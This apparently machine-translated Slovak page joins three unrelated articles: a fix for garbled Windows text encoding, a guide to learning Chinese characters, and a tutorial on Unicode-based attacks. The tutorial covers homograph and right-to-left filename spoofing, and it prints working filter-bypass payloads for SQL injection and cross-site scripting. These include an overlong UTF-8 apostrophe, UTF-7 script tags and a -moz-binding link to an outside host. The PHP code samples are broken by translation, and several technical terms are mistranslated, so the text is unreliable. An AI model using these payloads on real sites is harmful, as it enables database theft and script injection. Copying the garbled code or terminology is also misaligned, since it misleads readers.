Maškaráda postáv: bezpečnostné aspekty orientované na unicode. Namiesto súborov „hieroglyfy“ (nezrozumiteľné znaky) na USB kľúči Windows v rôznych aplikáciách Windows

KrakozyabryČo je to zaujímavé slovo? Toto slovo zvyčajne používajú ruskí používatelia na označenie nesprávneho / nesprávneho zobrazenia (kódovania) znakov v programoch alebo v samotnom operačnom systéme.
Prečo sa to deje? Nenájdete jedinú odpoveď. Môže to byť spôsobené trikmi našich "obľúbených" vírusov, môže to byť spôsobené zlyhaním OS Windows (napríklad vypadla elektrina a počítač sa vypol), možno program vytvoril konflikt s iným alebo OS a všetko "letelo". Vo všeobecnosti môže byť dôvodov veľa a najzaujímavejšie je „Práve to vzalo a zlomilo sa to“.
Čítali sme článok a zistili sme, ako vyriešiť problém s kódovaním v programoch a OS Windows, pretože sa to stalo.

Pre tých, ktorí stále nechápu, čo tým myslím, tu je niekoľko:


Mimochodom, aj ja som sa raz dostal do tejto situácie a stále je na Ploche súbor, ktorý mi pomohol sa s tým vysporiadať. Preto som sa rozhodol napísať tento článok.

Za zobrazenie kódovania (fontu) v systéme Windows je zodpovedných niekoľko "vecí" - sú to jazyk, register a súbory samotného OS. Teraz ich skontrolujeme oddelene a bod po bode.

Ako odstrániť a opraviť krakozyabry namiesto ruštiny (ruské písmená) v programe alebo Windows.

1. Kontrola nainštalovaný jazyk pre programy, ktoré nepodporujú Unicode. Možno sa vo vás stratil.

Poďme teda po ceste: Ovládací panel – Miestne a jazykové nastavenia – karta Rozšírené
Tam hľadáme, aby jazykom bola ruština.


Vo Windows XP je okrem toho v spodnej časti zoznam „Kódové stránky prevodových tabuliek“ a v ňom riadok s číslom 20880. Je potrebné, aby tam bol aj Rus

6. Posledný bod, v ktorom vám dávam súbor, ktorý mi raz pomohol všetko opraviť a preto som si ho nechal na pamiatku. Tu je archív:

Vnútri sú dva súbory: krakozbroff.cmd a krakozbroff.reg

Ich princíp je rovnaký - opravovať hieroglyfy, štvorčeky, otázky či výkričníky v programoch a OS Windows všetkými prostriedkami (spoločne krakozyabry). Použil som prvý a fungovalo to pre mňa.

A na záver pár tipov:
1) Ak pracujete s registrom, nezabudnite si vytvoriť zálohu ( zálohovanie) v prípade, že sa niečo pokazí.
2) Po každej položke je vhodné skontrolovať 1. položku.

To je všetko. Teraz viete, ako opraviť odstrániť / opraviť Krakozyabry (štvorce, hieroglyfy, výkričníky a otázniky) v programe alebo Windows.

Pozor!!! Pripravte sa, článok bude dlhý. Môžete sa unaviť a zaspať, takže sa pohodlne usaďte, vezmite si šálku kávy a začnime.


Učenie sa čínskych znakov je dôležitou súčasťou učenia sa samotného jazyka. Existuje mnoho spôsobov, prostriedkov a nápadov, ako ich študovať. Tento článok bude diskutovať o niektorých z nich. Rôzni ľudia ich v závislosti od svojich cieľov učia rôznymi spôsobmi.
Niekto chce napríklad poznať len určitý počet znakov. Iní chcú čítať text v hieroglyfoch. Iní si želajú nielen čítať, ale aj vedieť písať hieroglyfy. A potom sú tu takí, ktorí sa chystajú nahrávať v čínštine alebo písať texty. Opäť píšte rukou, pretože ich písanie na počítači je oveľa jednoduchšie.
Stojí za zmienku, že moderné zamestnanie človeka neumožňuje plne sa ponoriť do procesu učenia bez rozptýlenia. Ťažké to majú najmä tí, ktorí jazyk študujú sami a „keď sa dá“. Stojí za to vybrať si spôsob, ako študovať hieroglyfy individuálne. Tí, ktorí sú časovo obmedzení, pravdepodobne chcú nájsť pohodlnú aplikáciu pre svoje zariadenie, aby si vo svojom voľnom čase „zahryzli do žuly vedy“. No, pre tých, ktorí sa učia jazyk, ako by malo byť všetko špecialitou, ale kto si nechce skrátiť čas na získavanie zručností?
Ešte dodám, že naučiť sa hieroglyf môže pre rôznych ľudí znamenať rôzne veci. Naučiť sa hieroglyf v plnom zmysle znamená poznať jeho výslovnosť, pravopis a význam. Takže, akým spôsobom môžete rozvíjať všetky tieto zručnosti a ovládať čínske znaky? Začnime papierovými, potom elektronickými.

1. Predpisovanie hieroglyfov.

Tradičný spôsob učenia hieroglyfov, ktorý vyskúšali milióny Číňanov. Je potrebné mať na pamäti, že hieroglyfy predpisujú počas celej školy. Nie je to pár rokov. Takže výhody metódy:
- zapája sa zraková, svalová pamäť;
- rozvíja sa zručnosť písania, rukopis;
- štúdium hieroglyfov v náhodnom poradí;
- schopnosť okamžite sa vrátiť k napísanému;
- iné.

Z mínusov možno identifikovať:
- Vyžaduje papier a písací nástroj;
- napísanie jedného hieroglyfu zaberie veľa času;
- musíte uložiť veľa papiera;
- na kvalitný prístup k cvičeniam potrebujete miesto a čas.
- iné.

Hieroglyfy môžete písať do bežného poznámkového bloku obyčajným perom. Tí, ktorí k tomu majú dôkladnejší prístup, sú predpísaní v špeciálnych receptoch. O tom, ako písať hieroglyfy, ako aj príklady elementárneho písania, bolo. Pokročilejšou metódou ryhovania je rytie vzorom. Sú tiež odlišné.

1. Šablóna. Môže to vyzerať inak, ale podstata je rovnaká. Cez text je prekrytý pauzovací papier, na ktorom sú napísané hieroglyfy. Problém je, že v takejto šablóne nie je výslovnosť hieroglyfov, to znamená, že sa trénuje iba rozpoznávanie známych a kaligrafia.


2. Šablóna. Predpisovanie prebieha podľa špecifikovaného sledu funkcií. Uvádza sa aj význam hieroglyfov. Výslovnosť zostáva v zákulisí.

3. Sú aj iné recepty, dlho sa to opisuje. Tu sú odkazy, ktoré si môžete stiahnuť a vytlačiť.

2. Asociačná metóda.

Podstata metódy je jednoduchá. Vymyslite, ako vyzerá hieroglyf a nejako spojte tento obrázok s významom a výslovnosťou hieroglyfu. bol . Všetky asociácie si môžete zapísať do zošita a vrátiť sa k nim na zopakovanie.
Tu môžete zahrnúť aj vývoj hieroglyfov pomocou klávesov. Rozdiel je v tom, že asociácie sa stanú skôr konkrétnymi ako abstraktnými. Najprv si však musíte osvojiť kľúče. Písal som o tom v tomto článku a bolo to aj v tomto článku. Môžete kombinovať asociácie a predpisovanie hieroglyfov. Chce to však aj veľa času. Ale bude sa na to dlho spomínať.
Viac o tom, naopak, bolo v tomto článku.

3. karty.

Sú to flash karty. Pointa je, že hieroglyfy sú napísané alebo jednoducho vytlačené na kartách. Na opačná strana ich význam, výslovnosť alebo oboje. Nepomôže to každému, zaberá miesto, zaberie veľa času na klasifikáciu a najlepšie dobrú vizuálnu pamäť. Tu sú niektoré z mojich starých zbierok:


Mimochodom, niektorým pomáha, keď sa učia z programu z učebníc, ktoré poskytujú sekvencie na písanie hieroglyfov. Môžu to byť učebnice od Zadoenka, Kondrashevského a iných.


Možno. skúsený študent čínskeho jazyka bude vedieť dať aj iné „papierové“ spôsoby zvládnutia a zapamätania hieroglyfov. Ale rozhodol som sa zatiaľ držať vyššie uvedeného. Prejdime k elektronike.

1.Flash karty.

Ľudia si uvedomili, že niekoľko tisíc hieroglyfov je veľký objem kariet. Celá krabica! Je možné aj v v elektronickom formáte robiť ich. Vytvoril všetky druhy programov, ktoré rôzne platformy ah reprodukovať tieto karty.

Každý, kto má o túto metódu záujem, by sa mal s programom oboznámiť. Aj pre amatéra. S vizuálnou pamäťou súvisí aj rozmiestnené opakovanie obrázkov. Nie každý je v tom rovnako dobrý. Ale nielen japončina a čínština sa dajú vyučovať. Okrem toho je aplikácia dostupná pre rôzne platformy.

Existujú aj iné aplikácie rovnakého charakteru. Tu bola napríklad jedna takáto aplikácia citovaná na webe Magazeta: odkaz na článok.

2. Procesory znakov.

Raz som sa pokúsil zoznámiť s hieroglyfmi pomocou programu NJStar. Veľmi to nepomohlo, ale niekomu sa to môže hodiť na počítači. Tu . V tomto programe môžete zadávať hieroglyfy pomocou myši.

3. Online prekladatelia.

Prekladač Google má funkciu zadávania dotykovej obrazovky. Tam môžete písať hieroglyfy prstom priamo na mobilnom zariadení. Vyžaduje sa internet. Neexistuje žiadny jasný program na zapamätanie, len schopnosť písať nie na papier. To isté platí pre zadávanie hieroglyfov myšou do internetových slovníkov ako je www.bkrs.info. Vedľa vyhľadávacieho panela je tlačidlo manuálneho zadávania, niekedy nie je viditeľné kvôli téme okolo riadku, ale určite je vpravo. Môžete zadať hieroglyf pomocou myši a sledovať jeho význam, niekedy počúvať výslovnosť. Eliminuje písanie na papier.

4. Iné programy.

Iný softvér možno nájsť na internete. Neskúšal som všetko, takže nemôžem veľa popísať. Chcem však povedať pár slov o systéme MAO. Nepáčil sa mi prístup k zapamätávaniu hieroglyfov, ale aj tak som sa rozhodol uviesť ho v tomto článku, keďže existuje aplikácia „MAOcard“. Áno, a niekto môže oceniť tento systém nado mnou. Odkaz...

Pokračujeme...

Môžete o tom stále písať, ale aby som ušetril aspoň môj čas, dám odkaz na stránku z Magazeta, kde autor poskytuje veľa užitočného softvéru pre rôzne platformy. Medzi všetkým sú aj aplikácie na učenie a opakovanie hieroglyfov. Ale stále by som chcel zdôrazniť, že jedna vec je opakovať alebo pamätať si hieroglyfy a niečo iné je pamätať si. Zdá sa, že to dáva zmysel, keď buď poznáte slová, ale neviete čítať, alebo sa učíte slová aj znaky súčasne. Na tieto účely sú vhodné špeciálne aplikácie.

Konkrétne by som chcel spomenúť aplikáciu pre platformu Android „Chineskill“ . Rozvíja sa a podľa mňa spája veľa výhod. Štúdium hieroglyfov ide ruka v ruke so štúdiom slovnej zásoby a gramatiky. Píšte a vyslovujte slová musím. Niekedy rukou, prstom. Možno práve toto potrebuješ...

Ďalšia aplikácia, ktorú odporúčam študentom čínsky a v konkrétne hieroglyfy sú aplikáciou „čínsky spisovateľ“. Už sa stalo Stručný opis túto aplikáciu. Poviem ale, že aj s pár nepríjemnosťami, ako je ticker v spodnej časti obrazovky s informáciami o hieroglyfe, je aplikácia výborná. Môžete si pozrieť hieroglyfy, naučiť sa ich písať, otestovať sa v hre a podobne. Podľa mňa toto musíte mať vo svojom zariadení ... Existujú platené aj bezplatné verzie.

Záver.

Na záver poviem, že som nemohol vymenovať všetko, čo bolo na mojom smartfóne a tablete. skúsil som rôzne programy ale žiaľ, nikto nie je dokonalý. Alebo som to možno ešte nenašiel. Ale to, čo som uviedol vyššie, stojí za vyskúšanie. Tak či onak, toto všetko je len prostriedok na zapísanie hieroglyfov do vašej pamäte. Ale ako ich bude vnímať, či ich bude chcieť neskôr vrátiť – to je už iná otázka. Okrem študovania samotných hieroglyfov preto odporúčam dopriať si dostatok spánku a trénovať pamäť. Ďakujem, že ste dočítali až do konca, teraz je vaše chápanie problematiky zrejme širšie.

Myslím, že ste narazili na exploity, ktoré sú klasifikované ako Unicode, viac ako raz, hľadali ste správne kódovanie na zobrazenie stránky, tu a tam sa radovali z ďalšieho krakozyabry. Áno, nikdy neviete, čo iné! Ak chcete vedieť, kto celý tento trapas začal a robí to dodnes, zapnite si pásy a čítajte ďalej.

Ako sa hovorí „iniciatíva sa trestá“ a ako vždy, za všetko mohli Američania.

A bolo to tak. Na úsvite rozkvetu počítačového priemyslu a šírenia internetu bola potreba univerzálneho systému reprezentácie znakov. A v 60. rokoch minulého storočia sa objavil ASCII - "Americký štandardný kód pre výmenu informácií" (americký Štandardný kód pre výmenu informácií), známe 7-bitové kódovanie znakov. Posledný ôsmy nepoužitý bit bol ponechaný ako riadiaci bit na prispôsobenie tabuľky ASCII tak, aby vyhovovala potrebám každého zákazníka počítača v konkrétnom regióne. Takýto bit umožnil rozšírenie tabuľky ASCII o použitie vlastných znakov pre každý jazyk. Počítače boli dodávané do mnohých krajín, kde už používali vlastný, upravený stôl. Neskôr sa však táto funkcia zmenila na bolesť hlavy, pretože výmena údajov medzi počítačmi sa stala dosť problematickou. Nový 8-bit kódové stránky boli navzájom nekompatibilné - rovnaký kód mohol znamenať niekoľko rôznych znakov. Na vyriešenie tohto problému navrhla ISO („Medzinárodná organizácia pre normalizáciu“, Medzinárodná organizácia pre normalizáciu). nový stôl, konkrétne "ISO 8859".

Neskôr bol tento štandard premenovaný na UCS ("Universal Character Set", Universal Character Set). Avšak v čase, keď bol UCS prvýkrát vydaný, prišiel Unicode. Ale keďže sa ciele a zámery oboch noriem zhodovali, bolo rozhodnuté spojiť sily. Unicode si vzal na seba náročnú úlohu dať každej postave jedinečné označenie. V súčasnosti je najnovšia verzia Unicode 5.2.

Chcem vás varovať - ​​v skutočnosti je príbeh s kódovaním veľmi bahnitý. Rôzne zdroje poskytujú rôzne fakty, takže sa nenechajte zavesiť na jednu vec, len si uvedomte, ako sa všetko formovalo, a dodržiavajte moderné štandardy. Dúfam, že nie sme historici.

Unicode havarijného kurzu

Pred ponorením sa do témy by som chcel objasniť, čo je Unicode z technického hľadiska. Ciele tento štandard už vieme, zostáva len opraviť materiál.

Čo je teda Unicode? Jednoducho povedané, toto je spôsob, ako reprezentovať akýkoľvek znak vo forme špecifického kódu pre všetky jazyky sveta. Najnovšia verzia Norma obsahuje asi 1 100 000 kódov, ktoré zaberajú priestor od U+0000 do U+10FFFF. Ale tu buďte opatrní! Unicode presne definuje, čo je znakový kód a ako bude tento kód reprezentovaný v pamäti. Kódy znakov (povedzme 0041 pre znak "A") nemajú žiadny význam, ale existuje logika na reprezentáciu týchto kódov ako bajtov, kódovanie to robí. Unicode Consortium ponúka nasledujúce typy kódovania, ktoré sa nazývajú UTF (Unicode Transformation Formats). A tu sú:

  • UTF-7: Toto kódovanie sa neodporúča z dôvodov bezpečnosti a kompatibility. Popísané v RFC 2152. Nie je súčasťou Unicode, ale zavedené týmto konzorciom.
  • UTF-8: Najbežnejšie kódovanie na webe. Je to premenná, široká od 1 do 4 bajtov. Spätne kompatibilné s protokolmi a programami pomocou ASCII. Zaberá rozsah U+0000 až U+007F.
  • UTF-16: Používa premennú šírku 2 až 4 bajty. Najbežnejšie použitie je 2 bajty. UCS-2 je rovnaké kódovanie, len s pevnou šírkou 2 bajty a obmedzené na limity BMP.
  • UTF-32: Používa pevnú šírku 4 bajty, t. j. 32 bitov. Používa sa však len 21 bitov, zvyšných 11 je vyplnených nulami. Aj keď je toto kódovanie ťažkopádne z hľadiska priestoru, je považované za najefektívnejšie z hľadiska rýchlosti vďaka 32-bitovému adresovaniu v moderných počítačoch.

Najbližším ekvivalentom UTF-32 je kódovanie UCS-4, dnes sa však používa menej.

Napriek tomu, že UTF-8 a UTF-32 môžu predstavovať o niečo viac ako dve miliardy znakov, bolo rozhodnuté obmedziť ich na milión a chvost - kvôli kompatibilite s UTF-16. Celý kódový priestor je zoskupený do 17 rovín, z ktorých každá má 65 536 symbolov. Najčastejšie používané symboly sú umiestnené v nulovej, základnej rovine. Označované ako BMP - Basic MultiPlane.
Dátový tok v kódovaní UTF-16 a UTF-32 môže byť reprezentovaný dvoma spôsobmi – little endian a little endian, nazývané UTF-16LE/UTF-32LE, resp. UTF16BE/UTF-32BE. Ako ste uhádli, LE je little-endian a BE je big-endian. Ale treba nejako vedieť rozlišovať medzi týmito príkazmi. Na to použite značku poradia bajtov U + FEFF, v anglickej verzii - kusovník, "Maska objednávky bajtov". Tento kusovník sa môže objaviť aj v UTF-8, ale tam to nič neznamená.

V záujme spätnej kompatibility sa Unicode musel prispôsobiť znakom z existujúcich kódovaní. Tu však nastáva ďalší problém – existuje veľa variantov rovnakých znakov, ktoré treba nejako spracovať. Preto je potrebná takzvaná „normalizácia“, po ktorej je už možné porovnávať dva reťazce. Celkovo existujú 4 formy normalizácie:

  • Normalizačná forma D (NFD): kanonický rozklad.
  • Normalizačná forma C (NFC): kanonický rozklad + kanonické zloženie.
  • Normalizačná forma KD (NFKD): kompatibilný rozklad.
  • Normalizačná forma KC (NFKC): kompatibilný rozklad + kanonické zloženie.

Teraz viac o týchto zvláštnych slovách.

Unicode definuje dva druhy rovnosti reťazcov – kanonickú a kompatibilitu.

Prvá zahŕňa rozklad zložitého symbolu na niekoľko samostatných obrazcov, ktoré ako celok tvoria pôvodný symbol. Druhá rovnosť hľadá najbližší zodpovedajúci znak. A kompozícia je kombináciou symbolov z rôznych častí, rozklad je opačná akcia. Vo všeobecnosti sa pozrite na obrázok, všetko padne na svoje miesto.

Z bezpečnostných dôvodov by sa mala normalizácia vykonať pred odoslaním reťazca na kontrolu pomocou akýchkoľvek filtrov. Po tejto operácii sa môže zmeniť veľkosť textu, čo môže mať negatívne dôsledky, ale o tom neskôr.

Čo sa týka teórie, to je všetko, zatiaľ som toho veľa nepovedal, ale dúfam, že som nič dôležité neprehliadol. Unicode je nepredstaviteľne rozsiahly, zložitý, vychádzajú na ňom hrubé knihy a je veľmi ťažké zhrnúť, pochopiť a úplne vysvetliť základy takéhoto ťažkopádneho štandardu. V každom prípade, pre hlbšie pochopenie by ste si mali prejsť vedľajšie odkazy. Takže, keď je obraz s Unicode viac-menej jasný, môžeme ísť ďalej.

vizuálny klam

Určite ste už počuli o spoofingu IP/ARP/DNS a máte dobrú predstavu o tom, čo to je. Existuje však aj takzvaný „vizuálny spoofing“ – ide o rovnakú starú metódu, ktorú phisheri aktívne používajú na oklamanie obetí. V takýchto prípadoch sa používajú podobné písmená, ako napríklad „o“ a „0“, „5“ a „s“. Toto je najbežnejšia a najjednoduchšia možnosť a je ľahšie si ju všimnúť. Príkladom je phishingový útok PayPal z roku 2000, ktorý sa dokonca spomína na stránkach www.unicode.org. Toto je však málo relevantné pre našu tému Unicode.

Pre tých pokročilejších sa na obzore objavil Unicode, alebo skôr IDN, čo je skratka pre „Internationalized Domain Names“ (Internationalized Domain Names). IDN umožňuje použitie znakov národnej abecedy v názvoch domén. Registrátori doménových mien to považujú za pohodlnú vec, hovoria, vytáčanie Doménové meno vo svojom vlastnom jazyku! Táto vymoženosť je však veľmi otázna. No dobre, marketing nie je naša téma. Predstavte si však, aký je to priestor pre phisherov, SEO, kybersquatterov a iných zlých duchov. Hovorím o efekte zvanom IDN spoofing. Tento útok patrí do kategórie vizuálneho spoofingu, v anglickej literatúre sa mu hovorí aj „homograph attack“, teda útoky pomocou homografov (slová, ktoré sú pravopisne rovnaké).

Áno, pri písaní písmen sa nikto nepomýli a nenapíše úmyselne falošnú doménu. Používatelia však väčšinou klikajú na odkazy. Ak sa chcete presvedčiť o účinnosti a jednoduchosti útoku, pozrite sa na obrázok.

IDNA2003 bol vynájdený ako akýsi všeliek, no už tento rok, 2010, vstúpil do platnosti IDNA2008. Nový protokol mal vyriešiť mnohé z problémov mladého IDNA2003, no priniesol nové príležitosti na spoofingové útoky. Opäť sa objavujú problémy s kompatibilitou - v niektorých prípadoch môže rovnaká adresa v rôznych prehliadačoch viesť k rôznym serverom. Faktom je, že Punycode je možné previesť rôznymi spôsobmi rôzne prehliadače- všetko bude závisieť od toho, aké štandardné špecifikácie sú podporované.
Problém vizuálneho klamania tým nekončí. Unicode prichádza aj do služieb spamerov. Hovoríme o spamových filtroch – spameri spúšťajú pôvodné písmená cez obfuskátor Unicode, ktorý hľadá podobné znaky z rôznych národných abecied pomocou takzvaného UC-Simlist („Zoznam podobností Unicode“, zoznam podobných znakov Unicode). A je to! Antispamový filter zlyhá a v takejto spleti znakov už nedokáže rozpoznať niečo zmysluplné, ale používateľ je celkom schopný prečítať text. Nepopieram, že riešenie na takýto problém sa našlo, avšak v prevahe sú spameri. No a ešte niečo z tej istej série útokov. Ste si istý, že otvárate a textový súbor, a ty neriešiš dvojku?

Na obrázku, ako vidíte, máme súbor s názvom evilexe. TXT. Ale je to falošné! Súbor sa v skutočnosti volá eviltxt.exe. Pýtate sa, čo je to za odpad v zátvorkách? A toto, U + 202E alebo PREPIS SPRAVA DOĽAVA, takzvaný Bidi (od slova obojsmerný) je algoritmus Unicode na podporu jazykov, ako je arabčina, hebrejčina a ďalšie. Ten druhý predsa píše sprava doľava. Po vložení Unicode znaku RLO uvidíme všetko, čo nasleduje po RLO opačné poradie. Ako príklad túto metódu z reálneho života môžem uviesť spoofingový útok v Mozille Firfox - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Obtok filtra - Krok č.1

Už dnes je známe, že nie najkratšie formuláre UTF-8 nie je možné spracovať, pretože ide o potenciálnu zraniteľnosť. Vývojári PHP s tým však nemôžu mať dôvod. Pozrime sa, čo je to za chybu. Možno si pamätáte na nesprávne filtrovanie a utf8_decode(). Tu sa budeme zaoberať týmto prípadom podrobnejšie. Takže máme tento PHP kód:

// ... krok 1
$id = mysql_real_escape_string($_GET["id"]);
// ... Krok 2
$id = utf8_decode($id);
// ... krok 3
mysql_query("VYBERTE "meno" FROM "mŕtve hovädzie mäso"
WHERE "id"="$id"");

Tu je na prvý pohľad všetko správne. Nejako, ale nie celkom - je tu injekcia SQL. Predstavme si, že sme odovzdali nasledujúci reťazec:

/index.php?id=%c0%a7 ALEBO 1=1/*

V prvom kroku riadok neobsahuje nič, čo by mohlo znamenať problémy. Kľúčový je ale druhý krok, prvé dva znaky reťazca sa skonvertujú na apostrof. No a pri treťom už šuštíte databázou mocou a hlavným. Čo sa teda stalo v druhom kroku, prečo sa symboly zrazu zmenili? Skúsme na to prísť, pozorne čítajte ďalej.

Ak prevediete %c0 a %a7 na ich binárne hodnoty, dostanete 11000000 a 10100111. Apostrof má binárnu hodnotu 00100111. Teraz sa pozrite na tabuľku kódovania UTF-8.

Úvodné nuly a jednotky hlásia dĺžku znaku a vlastníctvo bajtov. Zatiaľ sa náš apostrof zmestí do jedného bajtu, ale chceme ho zväčšiť na dva (aspoň, ale je možné aj viac), teda aby mal tvar ako v druhom riadku.

Potom musíte zobrať taký prvý oktet, aby prvé tri bity boli 110, čo dekodéru povie, že reťazec je širší ako 1 bajt. A s druhým oktetom to nie je o nič zložitejšie – prvé dve nuly nahradíme 1 a 0. Voilá! Dostali sme 11000000 10100111, čo je %c0%a7.

Možno sa s touto zraniteľnosťou nestretnete na každom kroku, ale treba si uvedomiť, že ak sú funkcie umiestnené v tomto poradí, nepomôže ani addlashes(), ani mysql_real_escape_string(), ani magic_quotes_qpc. A tak môžete skrývať nielen apostrofy, ale aj mnohé ďalšie znaky. Najmä preto, že to nie je len PHP, ktoré nesprávne spracováva reťazce UTF-8. Vzhľadom na vyššie uvedené faktory je rozsah útoku značne rozšírený.

Obtok filtra - Stupeň č. 2

Zraniteľnosť tohto typu spočíva v úplne legálnom maskovaní jedovatého reťazca pod rúškom iného kódovania. Pozrite sa na nasledujúci kód:

/**
* UTF-7 XSS PoC
*/
header("Typ obsahu: text/html;
charset=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
echo htmlentities($str);

V skutočnosti sa tu deje nasledovné – prvý riadok odošle do prehliadača hlavičku so správou o tom, aké kódovanie potrebujeme. Nasledujúci pár jednoducho prevedie reťazec na tento:

ADw-script+AD4-alert("UTF-7 XSS")+ADsAPA-/script+AD4

Na poslednom - niečo ako filter. Filter môže byť zložitejší, ale na zobrazenie úspešného prechodu pre väčšinu primitívnych prípadov stačí. Z toho vyplýva, že by ste nemali dovoliť používateľovi ovládať kódovanie, pretože aj takýto kód predstavuje potenciálnu zraniteľnosť.

Ak máte pochybnosti, vyhoďte chybu a prestaňte pracovať, a aby ste sa vyhli problémom, je správne vynútiť výstup dát v kódovaní UTF-8. Z praxe je známy prípad útoku na Google, kedy sa hackerovi podarilo vykonať XSS útok manuálnou zmenou kódovania na UTF-7.

Pôvodný zdroj útoku na Google pomocou tejto metódy je sla.ckers.org/forum/read.php?3,3109.

Obtok filtra - Krok #3

Unicode varuje: Nadmerné používanie symbolov poškodzuje vašu bezpečnosť. Hovorme o takom efekte ako "symboly jedenia". Dôvodom úspešného útoku môže byť dekodér, ktorý nefunguje správne: ako napríklad v PHP. Norma píše, že ak sa pri konverzii vyskytne ľavý znak (zle tvarovaný), potom je vhodné nahradiť sporné znaky otáznikmi, medzeru U+FFFD, zastaviť analýzu atď., ale následné znaky nevymazávať . Ak stále potrebujete odstrániť znak, musíte to urobiť opatrne.

Chyba je v tom, že PHP prežúva nesprávny znak UTF-8 spolu s ďalším znakom. A to už môže viesť k obchádzaniu filtra s následným spustením JavaScript kódu, alebo k SQL injection.

V pôvodnej správe o zraniteľnosti na blogu hackera Eduarda Vela alias sirdarckcata je veľmi dobrý príklad a my ho zvážime, stačí ho trochu upraviť. Podľa scenára môže používateľ vložiť obrázky do svojho profilu, existuje nasledujúci kód:

// ... veľa kódu, filtrovanie ...
$name = $_GET["meno"];
$odkaz = $_GET["odkaz"];
$image = " src="http://$link" />";
echo utf8_decode($obrazok);
A teraz posielame nasledujúcu žiadosť:
/?name=xxx%f6&link=%20
src=javascript:onerror=alert(/
xss/)//

Po všetkých transformáciách nám PHP vráti toto:

Čo sa stalo? Premenná $name dostala neplatný znak UTF-8 0xF6, ktorý po konverzii na utf8_decode() zjedol 2 nasledujúce znaky vrátane záverečnej úvodzovky. Prehliadač ignoroval útržok http:// a úspešne sa spustil nasledujúci kód JavaScript. Tento útok som testoval v Opere, ale nič nám nebráni urobiť ho univerzálnym, toto je len dobrý príklad toho, ako sa dá ochrana v niektorých prípadoch obísť.

Z tejto série útokov, ale bez zvláštneho správania PHP funkcií, môžeme uviesť ďalší príklad obchádzania filtrov. Predstavme si, že WAF/IPS neprejde riadkami z čiernej listiny, ale niektoré následné spracovanie riadkov dekodérom odstráni znaky cudzie rozsahu ASCII. Potom nasledujúci kód voľne vstúpi do dekodéra:

upozornenie\uFEFFt("XSS")

A už bez \uFEFF to bude tam, kde by to útočník chcel vidieť. Tento problém môžete vyriešiť jednoducho tak, že sa zamyslíte nad logikou spracovania reťazcov – ako vždy, filter by mal pracovať s údajmi, ktoré sú v poslednej fáze jeho spracovania. Mimochodom, ak si pamätáte, potom \uFEFF je kusovník, o ktorom som už písal. FireFox bol ovplyvnený touto chybou zabezpečenia - mozilla.org/security/announce/2008/mfsa2008-43.html

Obtok filtra - 4. fáza

Dá sa povedať, že typ útoku, o ktorom sa teraz bude diskutovať, je vizuálny spoofing, útok na všetky druhy filtrov IDS / IPS, WAF a iné. Hovorím o takzvanom „bestfit mapping“ algoritme Unicode. Táto „najlepšia“ metóda bola vynájdená pre prípady, keď pri prevode z jedného kódovania do druhého chýba špecifický znak, ale je potrebné niečo vložiť. Vtedy sa hľadá taká, ktorá by sa mohla vizuálne podobať tej želanej.

Nechajte tento algoritmus vynájsť Unicode, je to však len ďalšie dočasné riešenie, ktoré bude žiť na neurčito. Všetko závisí od rozsahu a rýchlosti prechodu na Unicode. Samotný štandard odporúča uchýliť sa k najlepšiemu mapovaniu len ako poslednú možnosť. Správanie transformácie sa nedá striktne regulovať a vo všeobecnosti nijako zovšeobecňovať, keďže aj na jednu postavu existuje príliš veľa rôznych variácií podobnosti – všetko závisí od postavy, od kódovania.

Povedzme, že symbol nekonečna možno previesť na osmičku. Vyzerajú podobne, ale majú úplne iné účely. Alebo iný príklad – znak U + 2032 je prevedený na citát. Myslím, že chápete, čo to znamená.

Špecialista na informačnú bezpečnosť Chris Weber na túto tému experimentoval – ako sú na tom sociálne siete s filtrami a najvhodnejším zobrazovacím algoritmom? Na svojom webe popisuje príklad dobrého, no nie dostatočného filtrovania jednej sociálnej siete. V profile ste mohli nahrať svoje štýly, ktoré boli starostlivo skontrolované.

Vývojári si dali záležať, aby nepremeškali tento riadok: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Chris však dokázal túto ochranu obísť tak, že úplne prvý znak nahradil mínusom, ktorého kód je U+2212. Po fungovaní najvhodnejšieho algoritmu bolo mínus nahradené znakom s kódom U+002D, znakom, ktorý umožnil fungovanie štýlu CSS, čím sa otvorili príležitosti pre aktívny útok XSS. Stojí za to vyhnúť sa akejkoľvek mágii, ale je toho veľa. Do poslednej chvíle nie je možné predpovedať, k čomu aplikácia tohto algoritmu povedie. V lepšom prípade môže dôjsť k strate znakov, v horšom prípade k spusteniu JavaScript kódu, prístupu k ľubovoľným súborom, SQL injection.

Pretečenie vyrovnávacej pamäte

Ako som už písal, treba byť opatrný s normalizáciou kvôli anomálnemu sťahovaniu a rozťahovaniu struny. Druhý dôsledok často vedie k pretečeniu vyrovnávacej pamäte. Programátori nesprávne porovnávajú dĺžky reťazcov a zabúdajú na funkcie Unicode. Ignorovanie alebo nepochopenie nasledujúcich skutočností v podstate vedie k chybe:

  1. Struny sa môžu pri zmene veľkosti písmen roztiahnuť - z horného na spodné alebo naopak.
  2. Formulár normalizácie NFC nie je vždy „kolektívny“, niektoré znaky je možné analyzovať.
  3. Pri prevode znakov z jedného na druhý môže text opäť narásť. To znamená, že koľko sa reťazec rozšíri, závisí od samotných údajov a kódovania.

V zásade, ak viete, čo je pretečenie vyrovnávacej pamäte, potom je všetko ako vždy. Takmer :). Jednoducho, ak sa bavíme o reťazcoch Unicode, tak znaky budú najčastejšie doplnené nulami. Pre príklad uvediem tri riadky.

Bežný riadok:

V kódovaní ASCII:

V kódovaní Unicode:

\x41\x00\x42\x00\x43\x00

Ak sú zdrojové reťazce mimo rozsahu reťazcov ASCII, nebudú existovať žiadne nulové bajty, pretože zaberajú celý rozsah. Ako viete, nulové bajty sú prekážkou úspešnej operácie shell kódu. To je dôvod, prečo sa dlho verilo, že útoky Unicode sú nemožné. Tento mýtus však zničil Chris Anley, prišiel s takzvanou „benátskou metódou“, ktorá umožňuje nahradiť nullbajty inými znakmi. Ale táto téma by si zaslúžila samostatný článok a dobrých publikácií je už dosť - stačí si vygoogliť "venetian exploit". Môžete si tiež prečítať článok 45 špeciálneho vydania časopisu Hacker - "Unicode-Buffer Overflows", je tam dobrý popis písania shell kódu Unicode.

Iné radosti

